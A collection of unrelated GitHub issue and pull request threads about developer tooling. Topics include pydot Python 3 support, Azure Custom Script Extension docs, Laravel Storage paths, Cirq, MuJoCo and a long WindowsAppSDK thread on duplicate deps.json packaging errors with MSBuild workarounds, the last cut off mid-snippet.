That's because the version on PyPi is not (yet) compatible with Python3.
I see there is a pull request (#106) pending for Python 3.5 support.
Check out https://github.com/nlhepler/pydot for a Python3 compatible version.

TL;DR: pip3 install pydot3 / pip install pydot3
I found that this repro doesn't work in Python 3.x and made a quick fix to be Python 3.x compatible and made it accessible via pip install.

Should be fixed by #76 and #96.

Great!
On May 11, 2016 00:42, "Ioannis Filippidis"<EMAIL_ADDRESS>wrote:

Should be fixed by #76 https://github.com/erocarrera/pydot/issues/76
and #96 https://github.com/erocarrera/pydot/issues/96.
—
You are receiving this because you authored the thread.
Reply to this email directly or view it on GitHub
https://github.com/erocarrera/pydot/issues/110#issuecomment-218300855

in my mac, it can be installed with pip(but it is not work with conda install)


Add MTA space

Changes made, thanks @e-asia

@e-asia We will wait final address later this week to merge this PR.

@dereksilva @bonustrack I just noticed that the images are a bit too heavy. They should weigh 50bk max. Thank you for that.

Sorry, I did this yesterday but could only push the smaller images now.


Uncomplete docs in Section Managed Identity

Good day,
Section Managed Identity (https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/custom-script-windows#property-managedidentity) is missing important information in my opinion.
The document states the following:
It allows the Custom Script Extension to access Azure Storage private blobs or containers without the user having to pass secrets like SAS tokens or storage account keys.
This is true, but not the whole story.  I would advise to add an example on how to accomplish this. I'm missing the protected settings part with according properties in the example, which is needed to access the blob without SAS or providing Storage account keys.
It took me quite some time finding the right syntax.
An example that could be added:
resource myscript 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' =  {
name: 'myvm/myscript'
location: location
properties: {
publisher: 'Microsoft.Compute'
type: 'CustomScriptExtension'
typeHandlerVersion: '1.10'
autoUpgradeMinorVersion: true
settings: {
fileUris: [
fileUrl
]
}
protectedSettings: {
commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File myscript.ps1'
managedIdentity: {
clientId: 'clientid'
}
}
}
}]
Kind regards,
Thomas

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 40aaccb8-19ba-168f-f5bf-65f1f5331541
Version Independent ID: 6cdfd166-633a-50a3-2b45-cde0e991e540
Content: Azure Custom Script Extension for Windows - Azure Virtual Machines
Content Source: articles/virtual-machines/extensions/custom-script-windows.md
Service: virtual-machines
Sub-service: extensions
GitHub Login: @MsGabsta
Microsoft Alias: gabsta

@t-leblanc
Thanks for your feedback! We will investigate and update as appropriate.

@t-leblanc
Thank you for your suggestion. It would be helpful to provide your ideas in the below link so our product team will work on it.
https://feedback.azure.com/d365community

@ManoharLakkoju-MSFT , thank you for your suggestion. Although I'm not sure feedback.azure.com would be the right place as this is not a request for a feature enhancement, but a request for improvement of the existing documentation?

@t-leblanc
Thanks for bringing this to our attention.
I'm going to assign this to the document author so they can take a look at it accordingly
@MsGabsta
Can you please check and add your comments on this doc update request as applicable.

Thanks for your dedication to our documentation. Unfortunately, at this time we have been unable to review your issue in a timely manner and we sincerely apologize for the delayed response. The requested updates have not been made since the creation of this issue, and the timeline for resolution may vary based on resourcing. We are closing this issue for now, but feel free to comment here as necessary. #please-close


Support ImportMagic as a fixer

https://github.com/alecthomas/importmagic
I would like to be able to resolve missing imports in vim. Is ale the right way to go along with importmagic?

As usual, someone can have a go at this, and I'll check out the pull request when I have the time. :+1:


add [WingetVersion] Badge

Fixes #5548
Writing test in progress (might be tomorrow in JST) I wrote tests
This implementation fetches version information from https://github.com/microsoft/winget-pkgs/ with graphql api.
However, actual vrc-get command line interface retrieves package information from sqlite database file in https://cdn.winget.microsoft.com/cache/source.msix.
I don't know if this difference is acceptable for shelds.

Could you please provide an example how this can be used to display a winget badge?

Lets say your package is Microsoft.WSL
https://img.shields.io/winget/v/Microsoft.WSL
shows the latest version

Thanks!

Well, unfortunately it does not work for my package for some reason =/
What's suspicious is that shields.io capitalizes package name in URL, but in fact package has lowercase name.

https://img.shields.io/winget/v/octobuild.octobuild shows v1.4.0

We don't capitalize anything for you, but if you've tried requesting the badge with capitals in it first and you're using a chromium-based browser you might be hitting https://github.com/badges/shields/issues/10395

if you've tried requesting the badge with capitals in it first and you're using a chromium-based browser you might be hitting https://github.com/badges/shields/issues/10395

Ouch! Yes, it was that.


Pass correct data type when setting CURLOPT_POSTFIELDSIZE_LARGE

Somehow when compiling with MSVC CURLOPT_POSTFIELDSIZE_LARGE ends up
being set to some really large value, casting length to curl_off_t
fixes that.
Example nginx log message: 100 client intended to send too large body:<PHONE_NUMBER>30956800 bytes.

You are right.
Thanks for the PR.
For later reference:
https://curl.haxx.se/libcurl/c/CURLOPT_POSTFIELDSIZE_LARGE.html


Fix cast range on Invoker Tornado/Meatball

Changed Invoker's Meatball/Tornado cast ranges to match their travel distance, so a player could actually target the spot they want the tornado/meatball to land, instead of having to eyeball it from across the map.

Meatball actually lands at the cast point, not at a fixed distance from invoker directed at the cast point, so this change would effectively make it a global spell;
Tornado cast range is pretty generous; extrapolating from the existing range is part of the skill involved in using it effectively.
Thanks for the suggestion!


focus/trap cannot deal with positive tabindex ([tabindex="1"])

focus/trap is trying to do as little intervention as possible - it only reacts to focus leaving the context.
Chrome's implementation of <dialog> behaves similar to its implementation of ShadowDOM in respect to positive tabindex values ([tabindex="1"]) - i.e. they're treated as if they were local to the context (<dialog> / ShadowRoot).
To achieve the same effect in with focus/trap we would have to intercept and handle all Tab and Shift Tab calls. We could not rely upon the browser picking the proper element to focus, because [tabindex="1"] is considered globally (when not in a <dialog> or ShadowRoot). We can use dom/query-tabsequence to identify and properly sort a local tabbing sequence.
The question remaining is if listening for Tab and Shift Tab is sufficient. There may be browsers / OS / AT that have different ideas about this.

focus/trap is deprecated as of 1.0.0 - use focus/disable instead.


Get local file path with Storage

Problem:
The way Storage::disk('local')->url('filename.png') actually returns the path to the file, but it lacks the folder that was listed in the "/config/filesystem.php": eg "app" folder:
'local' => [
'driver' => 'local',
'root' => storage_path('app'),
],
As a result, we get the path: "/storage/filename.png", instead of "/storage/app/filename.png"
I tried to solve this problem - and as a result wrote this method.

It shouldn't be storage/app. It should be /storage/filename.png. Publicly available files should be placed in storage/app/public and public/storage should be symlinked to that location.
https://laravel.com/docs/5.2/filesystem#the-public-disk

It not for public files.
This is necessary when you need to work with the uploaded files by the local path. For example using ExcelFileReader

In that case you have no reason to be using the “url” method at all. That method is only for public files.

On May 18, 2016, at 8:13 AM, Ruslan<EMAIL_ADDRESS>wrote:
It not for public files.
This is necessary when you need to work with the uploaded files by the local path. For example using ExcelFileReader
—
You are receiving this because you modified the open/close state.
Reply to this email directly or view it on GitHub https://github.com/laravel/framework/pull/13605#issuecomment-220021739

Exactly!
For this case, I propose make a separate method for local files.
I dont changed method url()

So many utility packages in the world require a file path as opposed to file contents.  Why is there not a function to return the path for files in a local disk?

So many utility packages in the world require a file path as opposed to file contents.

Why would this packages even use Filesystem (Cloud Storage) when it would require physical file path. That would just made those packages unusable when you need to move from local to s3 (or other cloud).
Imagine if you have this now for your local storage, what if next month your boss wants to utilize s3 or other cloud storage, instead of just changing the config you need to check if you ever use localPath() on your application.

@crynobone Suppose I have an app that gets CSV files uploaded to it. Those CSV files must be processed/extracted into the DB. This will forever be a strictly local process. The Storage system seems like it would be great for this because CSV files of different natures can have their own local disk config. This way the controllers that handle the uploads and the queues that handle processing have a nice cleanly defined file location. Except I have to end up doing something like Storage::disk('sales_east')->getDriver()->getAdapter()->getPathPrefix();

This will forever be a strictly local process.

You have a custom requirement, while FilesystemAdapter should be reusable across all adapter. It's bad enough that url() is does only support S3 or local, adding more driver specific support is just shouldn't happen.

I get what you are saying, but if you need to deal with a local WSDL file because the other site does not publish one publicly, if you need to zip, unzip, perform record processing on files, process images, etc. then you find the Storage facade lacking.  It seems to me there is an ugly gap being created for the sake of holding something together that is already fragmented.

I don't get why you need to use Cloud Storage for something specifically local. We do have  https://github.com/laravel/framework/blob/5.2/src/Illuminate/Filesystem/Filesystem.php which is specifically for local filesystem.
Filesystem != Cloud Storage.

I really want to understand right now, but I don't. You say

Filesystem != Cloud Storage

but the Laravel doc title is

Filesystem / Cloud Storage

The methods in https://github.com/laravel/framework/blob/5.2/src/Illuminate/Filesystem/Filesystem.php   appear to be all the same methods exposed by the Storage facade. I do not see where it lends itself to getting the path of the file so it can be passed to a function that requires a file path. All using this directly seems to do is remove the wrapper to the storage area which seems to be the whole point of the 'local' type disk definitions???

Illuminate\Filesystem\Filesystem uses File facade.
Illuminate\Filesystem\FilesystemManager which uses FilesystemAdapter uses Storage facade.

I do not see where it lends itself to getting the path of the file so it can be passed to a function that requires a file path.

No it's not. It not even using the filesystem.php config. File are meant for low level usage where you intend to directly manipulate local files, and you have no intention to move/sync it to cloud as you would with Storage.

All using this directly seems to do is remove the wrapper to the storage area which seems to be the whole point of the 'local' type disk definitions???

local storage definition are for reusability when you need to uploads files to local, or then move it to cloud, or directly to cloud, or sync it to cloud etc (that the purpose of cloud storage).

Method url() is still not usable with files, placed to subdirectories


Update README

Hi @lawrence-lee thanks for the PR. Could you rebase on HEAD?

Thanks will resend.


fix fix duplicate key in agg/mor table caused by ordered data compaction

run buildall

we'd better add a case?

run external

run p0


Simulator state shouldn't expose external details

import cirq
d = cirq.asymmetric_depolarize(0.1, 0, 0)
s = cirq.DensityMatrixSimulator()
a, b = cirq.LineQubit.range(2)
out = s.simulate(cirq.Circuit.from_ops(d(a), d(b)))
assert out.final_simulator_state.density_matrix.shape == (4, 4)

Fails saying the shape is (2, 2, 2, 2). If you use an empty circuit (and specify the qubits) you instead get shape (4, 4).

Good catch.
I think numpy is smart enough when you reshape tensors, but I assume we should always do (n, n) for density matrix or (n,) for state.  Should we consider adding versions of these that return the tensor form of these?

I think we should always do (n, n) for now.

Ah note that you are doing out.final_simulator_state.  That's the internal "simulator state".  The right way to get this is out.final_density_matrix.

So yeah the issue here is that the public facing stuff should be in trial results and step results, but not in the "simulator state".  That way you can't do it the "wrong way" without considerable effort and using "_" classes.

Fixed in #1678


Alignment step died

Current Behavior
We are consistently receiving the following error:
munmap_chunk(): invalid pointer
leading to
.../linclust/sh: line 76: 2444 Aborted (core dumped) $RUNNER "$MMSEQS"  "${ALIGN_MODULE}" "$INPUT" "$INPUT" "$RESULTDB" "${TMP_PATH}/aln" ${ALIGNMENT_PAR}
leading to:
"Error: Alignment step died"
"Error: Search died"
Steps to Reproduce (for bugs)
file used: seqs.fasta (download seqs.txt from this issue, then change the file name extension to .fasta)
command used: mmseqs easy-linclust seqs.fasta /tmp/mmseqs /tmp --min-seq-id 0.9 -c 1.0 --cov-mode 0
MMseqs Output (for bugs)
see screenshot
Your Environment
Include as many relevant details about the environment you experienced the bug in.

Git commit used (The string after "MMseqs Version:" when you execute MMseqs without any parameters): 13.4511 (see screenshot)
Which MMseqs version was used (Statically-compiled, self-compiled, Homebrew, etc.): Bioconda
For self-compiled and Homebrew: Compiler and Cmake versions used and their invocation: /
Server specifications (especially CPU support for AVX2/SSE and amount of system memory): support for both AVX2 and SSE
Operating system and version: centos 8, 48 CPU, 192 GB RAM, 512 GB disk memory (m5.12xlarge instance AWS)

seqs.txt

Please let us know if there is anything else you need. Thanks in advance!

This is a small bug in the release, which only occurs with sequences smaller than alphabet size, it is already fixed in the current github version. The relevant commit is c7f6a37


Use case for timetrace get?

Hi there,
Wondering what's the intended use case for timetrace get? The logic of this command seems circular to me: the output displays the key, but I would already have known the key in order to use the command in the first place.
Thanks!

Hi,
you're right that there currently is little value in running timetrace get record compared to timetrace list records. This is because at the moment, all data stored for a record is already displayed in the table printed by list records.
However, this could change in the future: There might be data added to a single record, e.g. tags or descriptions (see #115), which will not be displayed in the list records table but only in the get record output.

Yes, that makes sense now. Thanks!


(maint) Remove ssh user from Cisco XR platform.

Can one of the admins verify this patch?

@waynr @tvpartytonight Can we get this reviewed/merged

:+1:

:+1:


CASMHMS-6018 dmsquash-live pre-signed URL

Add pre-signed URL support for the dmsquash-live dracut module (root=live:<url>).
This will be used for booting CSM application, compute, and hypervisor images built from node-images.

/backport stable/1.5


🔀 :: (#157) 모든 모집의뢰서 목록 API

close #157

Codecov Report

Merging #178 (8208734) into main (e5e4d01) will decrease coverage by 1.47%.
The diff coverage is 1.33%.

@@             Coverage Diff              @@
##               main     #178      +/-   ##
============================================
- Coverage     32.24%   30.76%   -1.48%
  Complexity      205      205
============================================
  Files           125      128       +3
  Lines          1433     1505      +72
  Branches         10       10
============================================
+ Hits            462      463       +1
- Misses          970     1041      +71
  Partials          1        1

Impacted Files
Coverage Δ

...itment/domain/RecruitmentRepositoryCustomImpl.java
1.40% <0.00%> (-0.64%)
:arrow_down:

.../domain/vo/AllRecruitmentInfoListForStudentVO.java
0.00% <0.00%> (ø)

...ain/vo/CurrentRecruitmentInfoListForStudentVO.java
0.00% <0.00%> (ø)

...ecruitment/presentation/RecruitmentController.java
16.66% <0.00%> (-3.34%)
:arrow_down:

...quest/AllRecruitmentInfoListForStudentRequest.java
0.00% <0.00%> (ø)

...onse/AllRecruitmentInfoListForStudentResponse.java
0.00% <0.00%> (ø)

...domain/recruitment/service/RecruitmentService.java
1.20% <0.00%> (-0.23%)
:arrow_down:

...ts/dsm/benecia/global/security/SecurityConfig.java
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e5e4d01...8208734. Read the comment docs.


Explicitly describe default states for CLI parameters in DOC and in CLI --help page

Would be nice to have information in documentation about default states of cli parameters, for example:
--verbose
https://facebook.github.io/jest/docs/en/cli.html#verbose
I'm trying to use just like that:
  jest --verbose

... but it doesn't change anything and from this point a don't know if this flag is enabled by default or i should use different syntax like:
jest --verbose 1

or
jest --verbose=1

or
jest --verbose true

Eventually I'm gonna find it but if you reading doc for the first time it's confusing, it would be useful to have clear information like:
--verbose
Display individual test results with the test suite hierarchy. (default: true)

These are documented on the Configuring Jest page

Closing as they're documented, but if you put in a PR to also document them on the CLI page we would be happy to add


Missing compiler paths

Issue description
When installing python modules inside a virtualenv, building fails
Steps to reproduce
nix-env -i libffi (requirement)
virtualenv env
source env/bin/activate
pip install bcrypt
Technical details

System: (NixOS: nixos-version, Ubuntu/Fedora: lsb_release -a, ...)
Nix version: (run nix-env --version)
Nixpkgs version: (run nix-instantiate --eval '<nixpkgs>' -A lib.nixpkgsVersion)
Sandboxing enabled: (run grep build-use-sandbox /etc/nix/nix.conf)
(unfortunately I am not near the box in question, I installed Nixos a week ago with the latest image). I can supply this information later if absolutely needed.

Libraries aren't discovered from the user profile. You should use nix-shell instead — in the ideal case, you won't need to use virtualenv or pip at all. You can get a shell with python and the bcrypt library using nix-shell -p 'python[3].withPackages (ps: [ps.bcrypt])'. Because this is such a common question, I'm writing an entry for it (a bit more detailed than this) over here, should be done soon!

@traustitj while there's ways you can use virtualenv with nix, it is quite brittle. I advise you to avoid using virtualenv when you can and use nix-shell for it instead.

Can we close this? It seems to be a misunderstanding, which is covered by https://nixos.wiki/wiki/FAQ/Libraries

libffi was additionally missing from bcrypt buildInputs as well - fixed by #63326.

I think we can close this.


Connecting two body objects to the child body in the kinematics tree

Hello, I am making a custom model, which I am converting from URDF. In the original urdf model, there are two objects which are connecting to the same child body, however mujoco transated that into one of the bodies being connected and the other one is open-ended. Is there some sort of trick to have two bodies having the same child in the kinematics tree? I am refering to psm_pitch_top_link and psm_pitch_bottom_link both being connected to psm_pitch_end_link in the attached model. Thanks!
psm.txt

The problem here is that you have a kinematic loop rather than tree. You'll want to define an equality constraint between psm_pitch_top_link and psm_pitch_end_link.

It seems like the only way to connect two bodies outside the kinematic tree without welding them is the 'connect' equality constraint. I used solref="0.002 1" to stiffen the joint.


need to update dependencies

WARN  Issues with peer dependencies found
.
├─┬ eslint-config-airbnb-typescript 17.0.0
│ ├── ✕ unmet peer<EMAIL_ADDRESS>found 6.0.0
│ └── ✕ unmet peer<EMAIL_ADDRESS>found 6.0.0

I'll try to make a PR for this today.

I'm also running into this issue. I want to update but am unable to due to dependency issues.

Maybe tagging @iamturns would help.

:tada: This issue has been resolved in version 17.1.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


sonar :: KffFile cleanup

I would like to see a quick unit test for this change.

I would like to see a quick unit test for this change.

Looking back over the code, the methods are private so there is no need for the null checking. The check method already makes sure the passed in hash bytes are not null. I updated the methods to specify @Nonnull instead of @Nullable

I would like to see a quick unit test for this change.

OBE


Build error APPX1101 (.NET 6 WinUI 3 and Microsoft.EntityFramework.Tools)

Describe the bug
When building my app, I get this error:
APPX1101
Payload contains two or more files with the same destination path 'App4.deps.json'. Source files:
C:\Users\bluve\source\repos\App4\App4\obj\x86\Debug\net6.0-windows10.0.19041.0\win10-x86\App4.deps.json
C:\Users\bluve\source\repos\App4\App4\bin\x86\Debug\net6.0-windows10.0.19041.0\win10-x86\App4.deps.json	App4	C:\Users\bluve.nuget\packages\microsoft.windowsappsdk\1.0.0\build\Microsoft.Build.Msix.Packaging.targets	1370
Steps to reproduce the bug

Create a WinUI 3 app.
Add Microsoft.EntityFrameworkCore.Tools 6.0.0 from NuGet.
Run the app.

Expected behavior
No response
Screenshots
No response
NuGet package version
1.0.0
Packaging type
Packaged (MSIX)
Windows version
May 2021 Update (19043)
IDE
Visual Studio 2022
Additional context
No response

Thanks @BluVeneziano, we're working with the EntityFrameworkCore team to investigate this, we'll update you when we have figured out more!

This is stopping my development in WINUI 3. This has had no forward motion since Nov. of last year. Has there been an update?

@andrewleader is there any progress on this bug? I am having the same error on a WinUi 3 WPF app

To unblock you for now, open your .csproj and make the changes indicated below.
+ <PackageReference Include="Microsoft.EntityFrameworkCore.Tools" Version="6.0.1" />
- <PackageReference Include="Microsoft.EntityFrameworkCore.Tools" Version="6.0.1">
-    <PrivateAssets>all</PrivateAssets>
-    <IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
- </PackageReference>

wow, that did the trick. @riverar I sure appreciate the help!

I'm also having this problem.
However, I added Microsoft.EntityFrameworkCore.Design 6.0.1 instead of Tools from GitHub.

@andrewleader
Could you clarify if this issue or the newly created one under WinUI should be used for this problem:
https://github.com/microsoft/microsoft-ui-xaml/issues/6814
EF Core team stated it is a WinUI issue.
https://github.com/dotnet/efcore/issues/27576#issuecomment-1064304575

I no longer work on WinAppSdk, @mikebattista would you be the right person to help with the question above?

I created https://task.ms/38479087 to track this. We'll take a look.

@mikebattista This issue was supposedly already being tracked internally:
https://github.com/dotnet/efcore/issues/26973#issuecomment-993885102
https://github.com/dotnet/efcore/issues/27576#issuecomment-1064304575
I was just trying to prevent it from being duplicated in both the WinUI and WindowsAppSDK repos:
https://github.com/microsoft/microsoft-ui-xaml/issues/6814

Confirmed still reproes with latest internal builds.

Commenting that while the .csproj lines cited by @riverar also occur in libraries ("Class Library (WinUI 3 in Desktop)" template), the compile error only occurs for the app, not the libraries.

Does anything on this turd known as WinUI 3 actually work as it's supposed too? Is it safe to say this shouldn't have been released in the state it's in? 6 months and EF Core still doesn't work, still no designer, figured out today that it can't even detect circular dependency injection which was why my app wouldn't launch, WinUI is the future is it?!? Sticking with WPF

I’ve tracked down the task invocations responsible for generating the two differing deps.json files. They are both calls to GenerateDepsFile in C:\Program Files\dotnet\sdk\6.0.203\Sdks\Microsoft.NET.Sdk\targets..\tools\net472\Microsoft.NET.Build.Tasks.dll.
The first file to be generated is the deps.json under the bin folder. That comes from target GenerateBuildDependencyFile, with this dependency chain:

GenerateBuildDependencyFile (Microsoft.NET.sdk.targets; .NET SDK)
CopyFilesToOutputDirectory (Microsoft.Common.CurrentVersion.targets; VS)
GenerateProjectPriFile (Microsoft.Build.Msix.Pri.targets; WinAppSDK Nuget)
PrepareForRun

The second file to be generated is the deps.json under the obj folder. That comes from target GeneratePublishDependencyFile, with this dependency chain:

GeneratePublishDependencyFile (Microsoft.NET.Publish.targets; .NET SDK)
ComputeFilesToPublish (Microsoft.NET.Publish.targets; .NET SDK)
__GetPublishItems (Microsoft.Build.Msix.Packaging.targets; WinAppSDK Nuget)
GetPackagingOutputs (Microsoft.Build.Msix.Packaging.targets; WinAppSDK Nuget)
PrepareMsixPackage

The supplied parameters are almost identical. Aside from the output file being different, there are two differences:

In GenerateBuildDependencyFile, the parameter ResolvedNuGetFiles contains a bunch of dlls that come from EntityFramework-related packages. In GeneratePublishDependencyFile, those files are absent, because this target filters out items that have “CopyToPublishDirectory” set to “False”.
This seems to be related to the EntityFramework package using DevelopmentDependency and the explicit runtime asset used in PackageReference as mentioned by Rafael Rivera in this comment https://github.com/microsoft/WindowsAppSDK/issues/1856#issuecomment-1006882973
The parameter “IsSingleFile” is not set for GenerateBuildDependencyFile, but it is set and defaults to “False” in GeneratePublishDependencyFile.

I suspect it’s mostly the first difference to blame here, based on this line in the GenerateDepsFile task that adds ResolvedNuGetFiles to ResolvedRuntimeTargetsFiles.
Handing over further investigation to @evelynwu-msft

see workarround: https://github.com/microsoft/WindowsAppSDK/issues/2524#issuecomment-1129733373

Hello, we are trying to migrate a Xamarin App to MAUI.
We don't use entity Framework and are running into the exact same problem of two .deps.json files being generated.
Is there any progress in this matter or a workaround I could use?

@rxDietel Fix is coming in 1.2.  For workarounds there are two possibilities: https://github.com/microsoft/WindowsAppSDK/issues/1856#issuecomment-1006882973
https://github.com/microsoft/WindowsAppSDK/issues/2524#issuecomment-1129733373
Please follow up if neither of these work for you.

I'm hitting this over and over today as well with my maui app.

Fix is checked in and will ship with 1.2

Getting rid of privateassets="all" from the package ref worked for me

Reopening until @BluVeneziano and other customers can confirm the fix, which will be available in WinAppSDK 1.2 Preview 2.  In the meantime, here is a workaround to drop into your csproj or directory.build.targets:
    <Target Name="RemoveCollidingDepsJson" AfterTargets="GetPackagingOutputs" BeforeTargets="_ComputeAppxPackagePayload">
        <!-- If conflicting build and publish deps.json files are present, use only the publish deps.json,
            and remove the corresponding build deps.json. -->
        <ItemGroup>
            <_PublishDepsJson Include="@(PackagingOutputs->WithMetadataValue('OutputGroup', 'PublishItemsOutputGroupOutput'))"
                Condition="'@(PackagingOutputs)'!='' and $([System.String]::Copy(%(FileName)%(Extension)).EndsWith('.deps.json'))" />
            <_BuildDepsJson Include="@(PackagingOutputs->WithMetadataValue('OutputGroup', 'GetCopyToOutputDirectoryItemsOutputGroup'))"
                Condition="'@(PackagingOutputs)'!='' and $([System.String]::Copy(%(FileName)%(Extension)).EndsWith('.deps.json'))" />
            <PackagingOutputs Condition="'@(_PublishDepsJson)'!='' and '@(_BuildDepsJson)'!=''" Remove="@(_BuildDepsJson)"/>
        </ItemGroup>
    </Target>

@Scottj1s Hi.
I placed your above code in my Maui csproj file just above the  tag but I still get the same error.
Do I have it in the right spot? Thanks.

@julianadormon I'd recommend updating to WindowsAppSDK 1.2 Preview 2, which contains this fix.  If that would prevent you from publishing to the store, then you can produce a binlog and examine it with the https://msbuildlog.com/ tool to ensure that the RemoveCollidingDepsJson target above is executing correctly.

I'm getting syntax errors on that Target, on the two String.Copy lines. I fixed it by removing the single quote at the front of it (in Condition="'$([System.String] ...), and adding single quotes to the Copy call (in ::Copy(%(FileName)%(Extension)))
	<Target Name="RemoveCollidingDepsJson" AfterTargets="GetPackagingOutputs" BeforeTargets="_ComputeAppxPackagePayload">
		<!-- If conflicting build and publish deps.json files are present, use only the publish deps.json,
            and remove the corresponding build deps.json. -->
		<ItemGroup Condition="'@(PackagingOutputs)'!=''" >
			<_PublishDepsJson Include="@(PackagingOutputs->WithMetadataValue('OutputGroup', 'PublishItemsOutputGroupOutput'))"
                Condition="$([System.String]::Copy('%(FileName)%(Extension)').EndsWith('.deps.json'))" />
			<_BuildDepsJson Include="@(PackagingOutputs->WithMetadataValue('OutputGroup', 'GetCopyToOutputDirectoryItemsOutputGroup'))"
                Condition="$([System.String]::Copy('%(FileName)%(Extension)').EndsWith('.deps.json'))" />
			<PackagingOutputs Condition="'@(_PublishDepsJson)'!='' and '@(_BuildDepsJson)'!=''" Remove="@(_BuildDepsJson)"/>
		</ItemGroup>
	</Target>

This is still a problem, the standard templates still result in two deps.json as of today.

I'm getting syntax errors on that Target, on the two String.Copy lines. I fixed it by removing the single quote at the front of it (in Condition="'$([System.String] ...), and adding single quotes to the Copy call (in ::Copy(%(FileName)%(Extension)))
	<Target Name="RemoveCollidingDepsJson" AfterTargets="GetPackagingOutputs" BeforeTargets="_ComputeAppxPackagePayload">
		<!-- If conflicting build and publish deps.json files are present, use only the publish deps.json,
            and remove the corresponding build deps.json. -->
		<ItemGroup Condition="'@(PackagingOutputs)'!=''" >
			<_PublishDepsJson Include="@(PackagingOutputs->WithMetadataValue('OutputGroup', 'PublishItemsOutputGroupOutput'))"
                Condition="$([System.String]::Copy('%(FileName)%(Extension)').EndsWith('.deps.json'))" />
			<_BuildDepsJson Include="@(PackagingOutputs->WithMetadataValue('OutputGroup', 'GetCopyToOutputDirectoryItemsOutputGroup'))"
                Condition="$([System.String]::Copy('%(FileName)%(Extension)').EndsWith('.deps.json'))" />
			<PackagingOutputs Condition="'@(_PublishDepsJson)'!='' and '@(_BuildDepsJson)'!=''" Remove="@(_BuildDepsJson)"/>
		</ItemGroup>
	</Target>

Thank you @Scottj1s and @MikeHillberg. Had the same problem with the file Microsoft.Web.WebView2.Core.dll

I'm getting syntax errors on that Target, on the two String.Copy lines. I fixed it by removing the single quote at the front of it (in Condition="'$([System.String] ...), and adding single quotes to the Copy call (in ::Copy(%(FileName)%(Extension)))
	<Target Name="RemoveCollidingDepsJson" AfterTargets="GetPackagingOutputs" BeforeTargets="_ComputeAppxPackagePayload">
		<!-- If conflicting build and publish deps.json files are present, use only the publish deps.json,
            and remove the corresponding build deps.json. -->
		<ItemGroup Condition="'@(PackagingOutputs)'!=''" >
			<_PublishDepsJson Include="@(PackagingOutputs->WithMetadataValue('OutputGroup', 'PublishItemsOutputGroupOutput'))"
                Condition="$([System.String]::Copy('%(FileName)%(Extension)').EndsWith('.deps.json'))" />
			<_BuildDepsJson Include="@(PackagingOutputs->WithMetadataValue('OutputGroup', 'GetCopyToOutputDirectoryItemsOutputGroup'))"
                Condition="$([System.String]::Copy('%(FileName)%(Extension)').EndsWith('.deps.json'))" />
			<PackagingOutputs Condition="'@(_PublishDepsJson)'!='' and '@(_BuildDepsJson)'!=''" Remove="@(_BuildDepsJson)"/>
		</ItemGroup>
	</Target>

Thank you @Scottj1s and @MikeHillberg. Had the same problem with Microsoft.Web.WebView2.Core.dll

@fabiocannas How did you fix the Microsoft.Web.WebView2.Core.dll?

@mjfara, sorry you're still having trouble.  Are you seeing the same issue as reported here, with a duplicate deps.json file specifically? There were a few similar scenarios, which were addressed in the latest release, 1.3 Preview 1.

This should not be closed

I encountered a similar issue while compiling my app with .NET 8, WINUI 3, and Native AOT. Unfortunately, the workaround mentioned above did not resolve the issue in this case either.
1>D:\AppCache.nuget\microsoft.windowsappsdk\1.4.231008000\buildTransitive\Microsoft.Build.Msix.Packaging.targets(1500,5): error APPX1101: Payload contains two or more files with the same destination path 'DictTango.exe'. Source files:
1>D:\AppCache.nuget\microsoft.windowsappsdk\1.4.231008000\buildTransitive\Microsoft.Build.Msix.Packaging.targets(1500,5): error APPX1101: E:\Work\Development\Android\DictTango\DotnetSrc\DictTango\DictTangoWinUI\obj\x64\Debug\net8.0-windows10.0.19041.0\win-x64\apphost.exe
1>D:\AppCache.nuget\microsoft.windowsappsdk\1.4.231008000\buildTransitive\Microsoft.Build.Msix.Packaging.targets(1500,5): error APPX1101: E:\Work\Development\Android\DictTango\DotnetSrc\DictTango\DictTangoWinUI\bin\x64\Debug\net8.0-windows10.0.19041.0\win-x64\native\DictTango.exe
1>Done building project "DictTangoWinUI.csproj" -- FAILED.

@Jimex AOT isn't supported at this time
https://github.com/microsoft/WindowsAppSDK/discussions/3856#discussioncomment-7017551

You still cannot use WinUI 3 alongside Microsoft.EntityFramework.Tools as both contain Microsoft.Web.WebView2.Core.dll and it leads to the error above when trying to publish your app whilst it builds and runs fine. This is because it tries to copy the dll file from both repositories.
The app is NET MAUI but it triggers this error as soon as you add Microsoft.EntityFramework.Tools to your project.
The errors have been here since 2021 but the file it fails on has changed from the json file to the dll file (perhaps it was briefly fixed in between).
When two repositories have the same dependency (in this case Web View 2) then Visual Studio just needs to be able to cope with this without just failing, especially if both files are identical or split web view off into its own repository rather than include it in the base WinUI one and one of the ones commonly added to projects for database connectivity.
Linux package manage handles this sort of thing easily but VS just fails then you waste hours researching workarounds.
A check was added to Visual Studio to fail on duplicated files whereas before they just used to overwrite each other but then no mechanism for how to deal with it was added and this overlap on dependencies was never addressed and the issue is closed.
I can't publish a self-contained app whilst this bug still remains but can publish it requiring NET 8 to be installed on the machine already with a workaround which is to add this to the project file which disables the check added to check for duplicated files:
<PropertyGroup>
  <ErrorOnDuplicatePublishOutputFiles>false</ErrorOnDuplicatePublishOutputFiles>
</PropertyGroup>

Please could it be re-looked at?

There are two distinct errors noted in this issue.
The first is that the logic to address conflicting build vs publish deps.json files was incomplete.  The next release of Windows App SDK will include a fix that covers project references (transitive deps.json conflicts).  Meanwhile, the problem can be worked around with this *.csproj excerpt:
  <!-- Temporary workaround until WinAppSDK 1.5.2 provides fix -->
  <Target Name="RemoveConflictingDepsJsonFiles" AfterTargets="GetPackagingOutputs">
    <!-- If conflicting build and publish deps.json files exist in this or referenced projects,
        use only the publish deps.json files, and remove the corresponding build deps.json files. -->
    <ItemGroup>
      <_PublishDepsJsonFiles Include="@(PackagingOutputs->HasMetadata('CopyToPublishDirectory'))"
        Condition="$([System.String]::Copy(%(FileName)%(Extension)).EndsWith('.deps.json'))" />
      <PackagingOutputs Remove="@(_PublishDepsJsonFiles)" MatchOnMetadata="TargetPath"/>
      <PackagingOutputs Include="@(_PublishDepsJsonFiles)"/>
